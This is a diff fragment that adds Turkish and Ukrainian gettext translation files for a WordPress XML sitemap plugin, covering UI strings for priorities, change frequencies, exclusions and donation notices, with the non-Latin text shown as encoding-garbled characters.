+msgstr "Burada blog'unuza ait olmayan sayfalarÄ± site haritasÄ±nda yer alacak Åekilde ekleyebilirsiniz.<br />ÃrneÄin, eÄer sayfanÄ±z www.foo.com ise ve blog'unuz www.foo.com/blog ise, anasayfanÄ±z olan www.foo.com adresini de eklemek isteyebilirsiniz."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:818
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Note"
+msgstr "Not"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "EÄer blog'unuz bir alt klasÃ¶rdeyse ve blog'da OLMAYAN sayfalar eklemek istiyorsanÄ±z, site haritasÄ± dosyanÄ±zÄ± KESÄ°NLÄ°KLE kÃ¶k klasÃ¶re koymanÄ±z gereklidir (Bu sayfadaki &quot;Site haritanÄ±zÄ±n konumu&quot; bÃ¶lÃŒmÃŒne bakÄ±n)!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:860
+msgid "URL to the page"
+msgstr "SayfanÄ±n URL'i"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "SayfanÄ±n URL'ini ekleyin. Ãrnekler:  http://www.foo.com/index.html veya www.foo.com/home "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "Priority"
+msgstr "Ãncelik"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "SayfanÄ±n, diÄer sayfalara gÃ¶re alacaÄÄ± Ã¶nceliÄi belirleyin. ÃrneÄin, anasayfanÄ±zÄ±n daha yÃŒksek bir Ã¶ncelik almasÄ± gerekebilir."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Last Changed"
+msgstr "Son DÃŒzenlenen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Son deÄiÅikliÄin tarihini YYYY-AA-GG olarak yazÄ±n (Ã¶rneÄin 2005-12-31) (isteÄe baÄlÄ±)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Change Frequency"
+msgstr "SÄ±klÄ±k DeÄiÅtir"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:869
+msgid "No pages defined."
+msgstr "HiÃ§ sayfa tanÄ±mlanmamÄ±Å."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:874
+msgid "Add new page"
+msgstr "Yeni sayfa ekle"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:879
+msgid "Post Priority"
+msgstr "YazÄ± Ã¶nceliÄi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:881
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "LÃŒtfen yazÄ±larÄ±n Ã¶nceliklerinin nasÄ±l hesaplanmasÄ±nÄ± istediÄinizi seÃ§in:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "Do not use automatic priority calculation"
+msgstr "Otomatik Ã¶ncelik hesaplamasÄ±nÄ± kullanma"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "&quot;Ãncelikler&quot;de tanÄ±mlanmÄ±Å tÃŒm yazÄ±lar aynÄ± Ã¶nceliÄe sahip olur."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:894
+msgid "Location of your sitemap file"
+msgstr "Site haritanÄ±zÄ±n konumu"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Automatic detection"
+msgstr "Otomatik tespit"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:901
+msgid "Filename of the sitemap file"
+msgstr "Site haritasÄ± dosyasÄ±nÄ±n ismi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected Path"
+msgstr "Bulunan Yol"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected URL"
+msgstr "Bulunan URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:909
+msgid "Custom location"
+msgstr "Ãzel konum"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:913
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Site haritasÄ±nÄ±n tam veya baÄÄ±l yolu (ismi dahil)."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:915
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:924
+msgid "Example"
+msgstr "Ãrnek"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:922
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Site haritasÄ±nÄ±n tam URL'i (ismi dahil)."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:935
+msgid "Sitemap Content"
+msgstr "Site Haritas Ä°Ã§eriÄi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:941
+msgid "Include homepage"
+msgstr "AnasayfayÄ± dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:947
+msgid "Include posts"
+msgstr "Blog yazÄ±larÄ±nÄ± dahil et"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:1013
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:953
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "Ãoklu sayfalardan aÅaÄÄ±dakileri dahil et (Bellek kullanÄ±mÄ±nÄ± ve site haritasÄ± kurulum sÃŒresini uzatÄ±r!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:959
+msgid "Include static pages"
+msgstr "Sabit sayfalarÄ± dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:965
+msgid "Include categories"
+msgstr "Kategorileri dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:971
+msgid "Include archives"
+msgstr "ArÅivleri dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:978
+msgid "Include tag pages"
+msgstr "Etiket sayfalarÄ±nÄ± dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:985
+msgid "Include author pages"
+msgstr "Yazar sayfalarÄ±nÄ± dahil et"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:993
+msgid "Excluded items"
+msgstr "HariÃ§ tutulacaklar"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:995
+msgid "Excluded categories"
+msgstr "HariÃ§ tutulan kategoriler"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "Bu Ã¶zelliÄi kullanmak bellek kullanÄ±mÄ±nÄ± artÄ±rÄ±r ve harita oluÅturma sÃŒresini uzatÄ±r!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1004
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "Bu Ã¶zellik WordPress 2.5.1 sÃŒrÃŒmÃŒnÃŒ gerektirir, sizinki %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1007
+msgid "Exclude posts"
+msgstr "Blog yazÄ±larÄ±nÄ± hariÃ§ tut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "Exclude the following posts or pages:"
+msgstr "Åu yazÄ± veya sayfalarÄ± hariÃ§ tut:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "List of IDs, separated by comma"
+msgstr "ID listesi, virgÃŒlle ayÄ±rÄ±n:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+msgid "Child posts won't be excluded automatically!"
+msgstr "Bu yazÄ±nÄ±n altÄ±ndaki iÃ§ yazÄ±lar otomatik olarak dahil edilmeyecektir!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+msgid "Change frequencies"
+msgstr "SÄ±klÄ±klarÄ± deÄiÅtir"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "LÃŒtfen bu etiketin bir ipucu olduÄuna, bir komut olmadÄ±ÄÄ±na dikkat edin. Her ne kadar arama motoru robotlarÄ± bu bilgiyi karar verirken gÃ¶z Ã¶nÃŒnde bulunduruyor olsa da; &quot;her saat&quot; olarak iÅaretlenen sayfalarÄ± da daha az sÄ±klÄ±kla tarayabilir, &quot;her yÄ±l&quot; olarak iÅaretlenen sayfalarÄ± da daha sÄ±k tarayabilir. Hatta robotlar bazen &quot;hiÃ§bir zaman&quot; olarak iÅaretlenmiÅ sayfalarÄ± da, beklenmedik deÄiÅiklikleri ele alabilmek iÃ§in tarayabilirler."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+msgid "Homepage"
+msgstr "Anasayfa"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Posts"
+msgstr "Blog yazÄ±larÄ±"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1039
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1102
+msgid "Static pages"
+msgstr "Sabit sayfalar"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1045
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1108
+msgid "Categories"
+msgstr "Kategoriler"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1051
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Bu ayÄ±n arÅivi (anasayfanÄ±zla aynÄ± olacaktÄ±r)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1057
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Daha eski arÅivler (YalnÄ±zca eski bir blog yazÄ±sÄ±nÄ± dÃŒzenlerseniz gÃŒncellenir)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Tag pages"
+msgstr "Etiket sayfalarÄ±"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1128
+msgid "Author pages"
+msgstr "Yazar sayfalarÄ±"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1079
+msgid "Priorities"
+msgstr "Ãncelikler"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1090
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Blog yazÄ±larÄ± (yalnÄ±zca otomatik hesaplama devre dÄ±ÅÄ±ysa)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1096
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "En dÃŒÅÃŒk blog yazÄ±sÄ± Ã¶nceliÄi (otomatik hesaplama devre dÄ±ÅÄ± olsa bile)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1114
+msgid "Archives"
+msgstr "ArÅivler"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1139
+msgid "Update options"
+msgstr "SeÃ§enekleri gÃŒncelle"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1140
+msgid "Reset options"
+msgstr "SeÃ§enekleri sÄ±fÄ±rla"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap Generator"
+msgstr "XML Site HaritasÄ± OluÅturucusu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:142
+msgid "Sitemap FAQ"
+msgstr "Bu Eklentinin SSS'si"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-uk_UA.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-uk_UA.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-uk_UA.po	(revision 44)
@@ -0,0 +1,1030 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Google XML Sitemaps v3.1.4\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2009-08-22 13:42+0300\n"
+"Last-Translator: elenka <stereo@stereo-lisa.org.ua>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Poedit-Language: Ukrainian\n"
+"X-Poedit-Country: UKRAINE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;\n"
+"X-Poedit-Basepath: ../\n"
+"X-Poedit-Bookmarks: \n"
+"X-Poedit-SearchPath-0: .\n"
+"X-Textdomain-Support: yes"
+
+#: sitemap-core.php:642
+#@ sitemap
+msgid "Comment Count"
+msgstr "ÐÐžÑÑÐ»ÑÐœÐžÐº ÐºÐŸÐŒÐµÐœÑÐ°ÑÑÐ²"
+
+#: sitemap-core.php:654
+#@ sitemap
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÑ ÐºÑÐ»ÑÐºÑÑÑÑ ÐºÐŸÐŒÐµÐœÑÐ°ÑÑÐ² ÐŽÐŸ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÐ¹ ÐŽÐ»Ñ ÐºÐ°Ð»ÑÐºÑÐ»ÑÑÑÑ Ð¿ÑÑÐŸÑÑÑÐµÑÑ"
+
+#: sitemap-core.php:714
+#@ sitemap
+msgid "Comment Average"
+msgstr "ÐÐŸÐŒÐµÐœÑÐ°ÑÑÐ² Ð¡ÐµÑÐµÐŽÐœÑ"
+
+#: sitemap-core.php:726
+#@ sitemap
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÑ ÐºÑÐ»ÑÐºÑÑÑÑ ÐºÐŸÐŒÐµÐœÑÐ°ÑÑÐ² Ñ ÑÐµÑÐµÐŽÐœÑÐŸÐŒÑ ÐŽÐ»Ñ ÐºÐ°Ð»ÑÐºÑÐ»ÑÑÑÑ Ð¿ÑÑÐŸÑÑÑÐµÑÑ"
+
+#: sitemap-core.php:789
+#@ sitemap
+msgid "Popularity Contest"
+msgstr "ÐÐŸÐœÐºÑÑÑ ÐÐŸÐ¿ÑÐ»ÑÑÐœÐŸÑÑÑ"
+
+#: sitemap-core.php:801
+#, php-format
+#@ sitemap
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÑ Ð°ÐºÑÐžÐ²ÐŸÐ²Ð°ÐœÐžÐ¹ <a href=\"%1\"> Popularity Contest Plugin </a> Ð²ÑÐŽ <a href=\"%2\"> Alex King< </a>. ÐÐžÐ². <a href=\"%3\"> ÐÐ°Ð»Ð°ÑÑÑÐ²Ð°ÐœÐœÑ </a> ÑÐ° <a href=\"%4\"> ÐÐŸÐ¿ÑÐ»ÑÑÐœÑ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ </a>"
+
+#: sitemap-core.php:1187
+#@ sitemap
+msgid "Always"
+msgstr "ÐÐ°Ð²Ð¶ÐŽÐž"
+
+#: sitemap-core.php:1188
+#@ sitemap
+msgid "Hourly"
+msgstr "Ð©ÐŸÑÐ°ÑÑ"
+
+#: sitemap-core.php:1189
+#@ sitemap
+msgid "Daily"
+msgstr "Ð©ÐŸÐŽÐµÐœÐœÐŸ"
+
+#: sitemap-core.php:1190
+#@ sitemap
+msgid "Weekly"
+msgstr "Ð©ÐŸÐœÐµÐŽÑÐ»ÑÐœÐŸ"
+
+#: sitemap-core.php:1191
+#@ sitemap
+msgid "Monthly"
+msgstr "Ð©ÐŸÐŒÑÑÑÑÐœÐŸ"
+
+#: sitemap-core.php:1192
+#@ sitemap
+msgid "Yearly"
+msgstr "Ð©ÐŸÑÑÑÐœÐŸ"
+
+#: sitemap-core.php:1193
+#@ sitemap
+msgid "Never"
+msgstr "ÐÑÐºÐŸÐ»Ðž"
+
+#: sitemap-ui.php:97
+#@ sitemap
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "ÐÑÐºÑÑ Ð²Ð°ÐŒ ÐŽÑÐ¶Ðµ Ð·Ð° Ð²Ð°ÑÐµ Ð¿ÐŸÐ¶ÐµÑÑÐ²ÑÐ²Ð°ÐœÐœÑ. ÐÐž ÐŽÐŸÐ¿ÐŸÐŒÐ°Ð³Ð°ÐµÑÐµ ÐŒÐµÐœÑ Ð¿ÑÐŽÑÑÐžÐŒÑÐ²Ð°ÑÐž ÑÐ° ÑÐŸÐ·ÑÐŸÐ±Ð»ÑÑÐž ÑÑÐ¹ Ð¿Ð»Ð°Ð³ÑÐœ ÑÐ° ÑÐœÑÐµ Ð²ÑÐ»ÑÐœÐµ Ð¿ÑÐŸÐ³ÑÐ°ÐŒÐœÐµ Ð·Ð°Ð±ÐµÑÐ¿ÐµÑÐµÐœÐœÑ."
+
+#: sitemap-ui.php:97
+#@ sitemap
+msgid "Hide this notice"
+msgstr "ÐÑÐžÑ
+ÐŸÐ²Ð°ÑÐž ÑÐµ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ"
+
+#: sitemap-ui.php:103
+#, php-format
+#@ sitemap
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ÐÑÐºÑÑ Ð·Ð° Ð²ÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÑÐœÐ°! ÐÐž Ð²ÑÑÐ°ÐœÐŸÐ²ÐžÐ»Ðž ÑÐµÐ¹ Ð¿Ð»Ð°Ð³ÑÐœ Ð±ÑÐ»ÑÑÐµ ÐŒÑÑÑÑÑ ÑÐŸÐŒÑ. Ð¯ÐºÑÐŸ Ð²ÑÐœ Ð¿ÑÐ°ÑÑÑ, Ñ ÐÐž Ð·Ð°ÐŽÐŸÐ²ÐŸÐ»ÐµÐœÑ ÑÐµÐ·ÑÐ»ÑÑÐ°ÑÐ°ÐŒÐž, ÑÐž ÐœÐµ Ð²Ð°ÑÑÐŸ ÑÐµ ÑÐŸÐœÐ°Ð¹ÐŒÐµÐœÑÐµ ÐŸÐŽÐžÐœ ÐŽÐŸÐ»Ð°Ñ? <a href=\"%s\"> ÐÐŸÐ¶ÐµÑÑÐ²ÑÐ²Ð°ÐœÐœÑ </a>  ÐŽÐŸÐ¿ÐŸÐŒÐ°ÑÑÑ ÐŒÐµÐœÑ Ð¿ÑÐŸÐŽÐŸÐ²Ð¶ÐžÑÐž Ð¿ÑÐŽÑÑÐžÐŒÐºÑ Ñ ÑÐŸÐ·Ð²ÐžÑÐŸÐº ÑÑÐŸÐ³ÐŸ <i> Ð±ÐµÐ·ÐºÐŸÑÑÐŸÐ²ÐœÐŸÐ³ÐŸ </i> Ð¿ÑÐŸÐ³ÑÐ°ÐŒÐœÐŸÐ³ÐŸ Ð·Ð°Ð±ÐµÐ·Ð¿ÐµÑÐµÐœÐœÑ! <a href=\"%s\"> ÐÐ²ÐžÑÐ°Ð¹ÐœÐŸ, ÐœÐµÐŒÐ°Ñ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ! </a>"
+
+#: sitemap-ui.php:103
+#@ sitemap
+msgid "No thanks, please don't bug me anymore!"
+msgstr "ÐÑ, ÐŽÑÐºÑÑ, Ð±ÑÐŽÑ Ð»Ð°ÑÐºÐ°, ÐœÐµ ÑÑÑÐ±ÑÐ¹ÑÐµ ÐŒÐµÐœÐµ!"
+
+#: sitemap-ui.php:114
+#@ sitemap
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "ÐÐ°ÑÐ° ÐŒÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ ÐœÐ°ÑÐ°Ð·Ñ  ÐŸÐœÐŸÐ²Ð»ÑÑÑÑÑÑ. Ð Ð·Ð°Ð»ÐµÐ¶ÐœÐŸÑÑÑ Ð²ÑÐŽ ÑÐŸÐ·ÐŒÑÑÑ Ð²Ð°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ ÑÐµ ÐŒÐŸÐ¶Ðµ Ð·Ð°Ð¹ÐœÑÑÐž ÐŽÐµÑÐºÐžÐ¹ ÑÐ°Ñ!"
+
+#: sitemap-ui.php:116
+#, php-format
+#@ sitemap
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "ÐÐ°ÑÐ° ÐŒÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ Ð±ÑÐŽÐµ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐ° Ð·Ð° % S ÑÐµÐºÑÐœÐŽ. Ð Ð·Ð°Ð»ÐµÐ¶ÐœÐŸÑÑÑ Ð²ÑÐŽ ÑÐŸÐ·ÐŒÑÑÑ Ð²Ð°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ ÑÐµ ÐŒÐŸÐ¶Ðµ Ð·Ð°Ð¹ÐœÑÑÐž ÐŽÐµÑÐºÐžÐ¹ ÑÐ°Ñ!"
+
+#: sitemap-ui.php:145
+#: sitemap-ui.php:448
+#@ sitemap
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML ÐÐµÐœÐµÑÐ°ÑÐŸÑ ÐÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ ÐŽÐ»Ñ WordPress"
+
+#: sitemap-ui.php:293
+#@ sitemap
+msgid "Configuration updated"
+msgstr "ÐÐŸÐœÑÑÐ³ÑÑÐ°ÑÑÑ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐ°"
+
+#: sitemap-ui.php:294
+#@ sitemap
+msgid "Error while saving options"
+msgstr "ÐÐŸÐŒÐžÐ»ÐºÐ° Ð¿ÑÐž Ð·Ð±ÐµÑÐµÐ¶ÐµÐœÐœÑ ÐŸÐ¿ÑÑÐ¹"
+
+#: sitemap-ui.php:296
+#@ sitemap
+msgid "Pages saved"
+msgstr "Ð¡ÑÐŸÑÑÐœÐºÐ° Ð·Ð±ÐµÑÐµÐ¶ÐµÐœÐ°"
+
+#: sitemap-ui.php:297
+#@ sitemap
+msgid "Error while saving pages"
+msgstr "ÐÐŸÐŒÐžÐ»ÐºÐ° Ð¿ÑÐž Ð·Ð±ÐµÑÐµÐ¶ÐµÐœÐœÑ ÑÑÐŸÑÑÐœÐŸÐº"
+
+#: sitemap-ui.php:304
+#@ sitemap
+msgid "The default configuration was restored."
+msgstr "ÐÐŸÐœÑÑÐ³ÑÑÐ°ÑÑÑ Ð·Ð° Ð·Ð°ÐŒÐŸÐ²ÑÑÐ²Ð°ÐœÐœÑÐŒ Ð±ÑÐ»Ð° Ð²ÑÐŽÐœÐŸÐ²Ð»ÐµÐœÐ°."
+
+#: sitemap-ui.php:461
+#, php-format
+#@ default
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr ""
+
+#: sitemap-ui.php:463
+#, php-format
+#@ default
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr ""
+
+#: sitemap-ui.php:465
+#, php-format
+#@ default
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr ""
+
+#: sitemap-ui.php:488
+#: sitemap-ui.php:505
+msgid "open"
+msgstr ""
+
+#: sitemap-ui.php:489
+#: sitemap-ui.php:506
+msgid "close"
+msgstr ""
+
+#: sitemap-ui.php:490
+#: sitemap-ui.php:507
+msgid "click-down and drag to move this box"
+msgstr ""
+
+#: sitemap-ui.php:491
+#: sitemap-ui.php:508
+#, php-format
+msgid "click to %toggle% this box"
+msgstr ""
+
+#: sitemap-ui.php:492
+#: sitemap-ui.php:509
+msgid "use the arrow keys to move this box"
+msgstr ""
+
+#: sitemap-ui.php:493
+#: sitemap-ui.php:510
+#, php-format
+msgid ", or press the enter key to %toggle% it"
+msgstr ""
+
+#: sitemap-ui.php:528
+#@ sitemap
+msgid "About this Plugin:"
+msgstr "ÐÑÐŸ ÑÐµÐ¹ ÐÐ»Ð°Ð³ÑÐœ:"
+
+#: sitemap-ui.php:529
+#: sitemap.php:153
+#@ sitemap
+msgid "Plugin Homepage"
+msgstr "ÐÐŸÐŒÐ°ÑÐœÑ ÑÑÐŸÑÑÐœÐºÐ° ÐÐ»Ð°Ð³ÑÐœÑ"
+
+#: sitemap-ui.php:530
+#@ sitemap
+msgid "Suggest a Feature"
+msgstr "ÐÐ°ÐŒÐŸÐ²ÐžÑÐž Ð€ÑÐœÐºÑÑÐŸÐœÐ°Ð»"
+
+#: sitemap-ui.php:531
+#@ sitemap
+msgid "Notify List"
+msgstr "ÐÐžÑÑ ÐÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ"
+
+#: sitemap-ui.php:532
+#@ sitemap
+msgid "Support Forum"
+msgstr "Ð€ÐŸÑÑÐŒ ÐÑÐŽÑÑÐžÐŒÐºÐž "
+
+#: sitemap-ui.php:533
+#@ sitemap
+msgid "Report a Bug"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Ð¿ÑÐŸ Ð¿ÐŸÐŒÐžÐ»ÐºÑ"
+
+#: sitemap-ui.php:535
+#@ sitemap
+msgid "Donate with PayPal"
+msgstr "ÐÐŸÐ¶ÐµÑÑÐ²ÑÐ²Ð°ÑÐž ÑÐµÑÐµÐ· PayPal"
+
